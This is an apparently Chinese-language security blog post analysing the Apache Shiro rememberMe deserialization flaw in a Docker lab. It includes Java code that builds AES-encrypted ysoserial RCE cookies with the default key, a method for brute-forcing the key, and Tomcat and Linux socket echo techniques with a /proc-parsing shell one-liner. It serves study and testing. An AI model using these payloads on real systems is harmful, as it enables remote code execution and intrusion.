Learning Man's Blog

Shiro-055 分析&回显

字数统计: 2.6k阅读时长: 11 min
2020/08/23

I. 准备

使用 docker hub 已有的漏洞环境,IDEA 配置 Remote Debug

> docker pull medicean/vulapps:s_shiro_1
> docker run -d -p 8080:8080 -p 8090:8090 --env JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8090,server=y,suspend=n" medicean/vulapps:s_shiro_1

拉取源码

> git clone https://github.com/apache/shiro.git
> git checkout shiro-root-1.2.4

II. 漏洞原理

原因是因为在 org.apache.shiro.mgt.AbstractRememberMeManager 中有定义以下内容,导致攻击者利用默认密码实现反序列化RCE

-w588

  1. 序列化对象需要继承 PrincipalCollection (实际非必须,下文有解释)

  2. 设置加密方式为 AES/CBC/PKCS5Padding,具体可在org.apache.shiro.crypto.DefaultBlockCipherService#DefaultBlockCipherService中查看

    -w696

  3. 硬编码默认加密密钥 DEFAULT_CIPHER_KEY_BYTES

    -w888

加密cookie

当用户登陆成功并且选择rememberme的时候,会进入org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 保存新的验证信息

-w843

接着在rememberIdentity函数中,先通过getIdentityToRemember获取到用户标志信息

Returns all principals associated with the corresponding Subject. Each principal is an identifying piece of information useful to the application such as a username, or user id, a given name, etc - anything useful to the application to identify the current Subject.

-w844

再进入同名方法rememberIdentity中,这里首先通过convertPrincipalsToBytes将用户信息转换成 byte 数组,后进行保存

-w744

我们来看convertPrincipalsToBytes,先进行序列化后再进行加密,我们重点关注加密算法

-w680

在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 中调用 AES 类进行加密

-w755

-w423

实际是调用org.apache.shiro.crypto.JcaCipherService#encrypt(byte[], byte[])encrypt(byte[], byte[], byte[], boolean),可以看到在最后是把 iv 放在 crypt 加密后的数据内容前,再整体返回

-w914

最后进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity,对信息 base64编码后存放入 cookie

-w917

解密cookie

当用户携带 rememberMe cookie 进行访问时,会进入org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals

-w698

调用子类CookieRememberMeManager#getRememberedSerializedIdentity提取 cookie,首先判断非 deleteMe 且进行 base64 尾部检测填充后,返回有效 cookie 回到 AbstractRememberMeManager

-w902

之后在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals中,尝试解密和反序列化

-w817

解密位于org.apache.shiro.mgt.AbstractRememberMeManager#decrypt

-w772

最后由org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])和decrypt(byte[], byte[], byte[])实现解密,整个流程都很常规,主要关注是从 cookie 头16位字节数据为 iv

-w914

III. 漏洞检测

1. 无效rememberMe

只能快速判断是否使用 shiro

原理

当我们输入一个无效的 rememberMe cookie 时会因无法解密或反序列化触发异常进入org.apache.shiro.mgt.AbstractRememberMeManager#onRememberedPrincipalFailure

-w1177

-w923

之后进入org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)

-w687

-w641

最后调用org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法添加 cookie rememberMe=deleteMe

-w910

效果

-w830

2. 反序列化

主要利用正常解密后的反序列化利用,但反序列化的前提是要使用正确的 key 实现正常解密

原理

从上面无效 rememberMe一节中我们还可以知道

  • 当 key 匹配且正常反序列化时,响应不会返回 rememberMe=delete
  • 当 key 不匹配时,响应返回 rememberMe=delete

那么只要保证序列化对象的有效性,就可以通过上面的差异来实现匹配 Key

因为序列化对象需要继承PrincipalCollection,所以我们主要关注SimplePrincipalMap、SimplePrincipalCollection

-w850

简单写个脚本用于生成 payload

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.subject.SimplePrincipalMap;
import org.apache.shiro.util.ByteSource;

public class generate {

    public static void main(String[] args) {
        Serializer<PrincipalCollection> serializer = new DefaultSerializer<PrincipalCollection>();
        SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();
        System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(simplePrincipalMap)));
    }

    private static String encrypt(String key, byte[] objectBytes) {
        byte[] keyDecode = Base64.decode(key);
        AesCipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
        byte[] value = byteSource.getBytes();
        return new String(Base64.encode(value));
    }
}

效果

Key 匹配 Key 不匹配
-w828 -w829

3. HTTPLog or DNSLog

实际也是利用反序列化,只是简单的向外请求解析域名,但是很多人都喜欢用这个,所以单独列出来

XXXLog 平台如果提供有 API 就可以自动化检测,但毕竟此方法受太多客观因素影响,不建议

IV. 漏洞利用

我们刚才提到了,序列化对象需要继承PrincipalCollection,那么这是必要的么?如果能没有这层限制,是否能利用其他 gadget 进而实现 RCE

我们关注到org.apache.shiro.mgt.AbstractRememberMeManager#deserialize,这里最后调用的是org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,只是在 return 时会强制转化为PrincipalCollection类型对象

-w601

所以我们可以使用其他 gadget 执行攻击,例如 ysoserial 系列

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.Serializer;
import org.apache.shiro.util.ByteSource;
import ysoserial.payloads.CommonsCollections2;

public class poc {
    public static void main(String[] args) throws Exception {
        Serializer<Object> serializer = new DefaultSerializer<>();
        Object obj = new CommonsCollections2().getObject("<Exec Command>");
        System.out.println(encrypt("<INPUT KEY HERE>", serializer.serialize(obj)));
    }

    private static String encrypt(String key, byte[] objectBytes) {
        byte[] keyDecode = Base64.decode(key);
        AesCipherService cipherService = new AesCipherService();
        ByteSource byteSource = cipherService.encrypt(objectBytes, keyDecode);
        byte[] value = byteSource.getBytes();
        return new String(Base64.encode(value));
    }
}

gadget 异常

这里可能会有人提到,为什么很多 cc gadget 无法使用呢?简单跟一个 cc4,会发现报错提示找不到org.apache.commons.collections4.Transformer,而 shiro 1.2.4 默认使用的 commons-collections4-4.0.jar 理论上是可以的利用的,报错原因在哪里?

-w1501

我们回到反序列化最开始的地方org.apache.shiro.io.DefaultSerializer#deserialize,注意这里调用的是ClassResolvingObjectInputStream.readObject()

-w699

ClassResolvingObjectInputStream继承自ObjectInputStream但重写了 resolveClass,最大的不同在于加载方式

- ClassResolvingObjectInputStream ObjectInputStream
代码 -w724 -w691
加载 ClassUtils.forName
实际 ClassLoader.loadClass
Class.forName
代码 -w918 -w829

那么两种加载方式的区别是什么?这里可先详细阅读这篇文章:ClassUtils详解

- ClassLoader.loadClass Class.forName
1 获取指定的 classLoader 自动获取 classLoader
2 只能将类加载到 JVM 可加载到 JVM 并初始化
(ObjectInputStream中设置为 false 未初始化)

还是没搞懂问题出自哪里,另网上有提及的一处区别(注意!有问题!

是否会解析数组类型
1)Class.forName会解析数组类型,如[Ljava.lang.String;
2)ClassLoader不会解析数组类型,加载时会抛出ClassNotFoundException;

但是经测试WebAppClassLoader是有能力解析数组的

-w631

最后发现关键点在于org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String, boolean),在调用 Class.forName 时指定从父类向上搜寻,导致找不到[Lorg.apache.commons.collections4.Transformer;

参数 parent this
ClassLoader URLClassLoader WebappClassLoader
测试 -w1260 -w1260

关于WebappClassLoader与其他 ClassLoader 可详细阅读此篇文章:图解Tomcat类加载机制

  1. WebappClassLoader:各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见
  2. tomcat 为了实现隔离性,没有遵守双亲委派这个约定,每个webappClassLoader加载自己的目录下的class文件,不会传递给父类加载器

commons-collections4-4.0.jar位于 webapp 中项目 /WEB-INF/lib 下,在没有其他额外配置 CLASSPATH 的情况时,默认只有 WebappClassLoader 才能加载

所以 Tomcat 为什么搜索指定父类开始?这个设计就很迷🤔🤔🤔

V. 回显

在遇到几次目标后,会发现有的设备是不出网的,哪怕碰撞出了 key 也不清楚是否正常执行了命令,这时候回显的能力就很重要

因为对回显没有研究,看了其他师傅的文章,按照00theway师傅讲的,目前公开的大概有以下几种方式获取结果:

  1. 报错回显
  2. web中获取当前上下文对象(response、context、writer等)
  3. 可以出网情况下OOB

利用效果比较好的有以下两个,前者适用 Linux/Windows Tomcat,后者适用 Linux 各类场景,各有优势,按场景利用

  1. 基于 Tomcat Response: https://koalr.me/post/shiro-lou-dong-jian-ce/
  2. 基于 Linux Socket: https://www.00theway.org/2020/01/17/java-god-s-eye/

1. Tomcat Gadget

-w1100

原理

编译 java-object-searcher 为 jar,方便引用

$> mvn clean package -Dmaven.test.skip=true

拉取 Tomcat (非源码),创建一个 Tomcat 项目,并自行创建一个 Servlet 用于断点调试

-w1443

测试 Tomcat 8.0.39 环境下实际只有一条 gadget

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [5] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo} 
          ---> processors = {java.util.ArrayList} 
           ---> [0] = {org.apache.coyote.RequestInfo} 
            ---> req = {org.apache.coyote.Request}

在这里又遇到了 cookie 过大的情况,解决方法请看这篇缩小ysoserial payload体积的几个方法

使用 javassist 加载目标类,导致体积过大

pool.insertClassPath(new ClassClassPath(TomcatEcho.class));
CtClass clazz = pool.get(TomcatEcho.class.getName());

-w676

转变为使用 javassist 直接创建类

-w656

我这里只是实现 Demo,没有对各个 Tomcat 版本以及 CC gadget 做兼容,这位师傅实现对利用链更广泛的兼容:Shiro RememberMe 漏洞检测的探索之路

2. Linux Socket

-w1145

原理

基于 Linux 万物皆文件的性质,对于每一个链接 socket 都有其对应的文件描述符,通过直接向文件描述符写入内容实现回显

有部分文章使用是尝试通过 IP、PORT 进行过滤获取 inode 值后,再获取 fd 写入,这个方法有一个很大的问题在于如果目标位于负载、代理之后的复杂网络,是没有办法筛选出有效的请求源,导致方法失败

所以我采用通过获取所有有效 inode 值,再获取 fd 组,统一尝试写入,突破复杂网络,实现回显😈

首先了解下 /proc/self/net/tcp

-w722

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/net/tcp_states.h
enum {
    TCP_ESTABLISHED = 1,
    TCP_SYN_SENT,
    TCP_SYN_RECV,
    TCP_FIN_WAIT1,
    TCP_FIN_WAIT2,
    TCP_TIME_WAIT,
    TCP_CLOSE,
    TCP_CLOSE_WAIT,
    TCP_LAST_ACK,
    TCP_LISTEN,
    TCP_CLOSING,    /* Now a valid state */
    TCP_NEW_SYN_RECV,

    TCP_MAX_STATES    /* Leave at the end! */
};

关注到 connection state 标志,通过判断是否为1就可以筛选正在传输的 socket 的 inode 值

之后通过筛选 /proc/self/fd 中 socket[] 对应文件描述符值,遍历尝试写入即可

下面是我用来筛选的语句 Orz

$ > inode=`cat /proc/net/tcp|tail -n +2|awk '{if($4=="01")print}'|awk '{print $10}'`;for i in $inode; do fd=`ls -l /proc/$PPID/fd|grep socket|grep $i|awk '{print $9}'`; if [ ${#fd} -gt 0 ]; then echo -n $fd-;fi;done;
$ > 97-57-

原本是想通过全部由 JAVA 原生代码实现,结果发现生成的 Payload 长度超出了 Cookie or Header Length 限制,除非另利用 gadget 去修改,否则会触发 ERROR 400,后面发现用 shell 直接过滤 fd 更方便快捷

参考资料

  1. 缩小ysoserial payload体积的几个方法
  2. 通杀漏洞利用回显方法-linux平台
  3. 半自动化挖掘request实现多种中间件回显
CATALOG
  1. 1. I. 准备
  2. 2. II. 漏洞原理
  3. 3. III. 漏洞检测
  4. 4. IV. 漏洞利用
  5. 5. V. 回显
  6. 6. 参考资料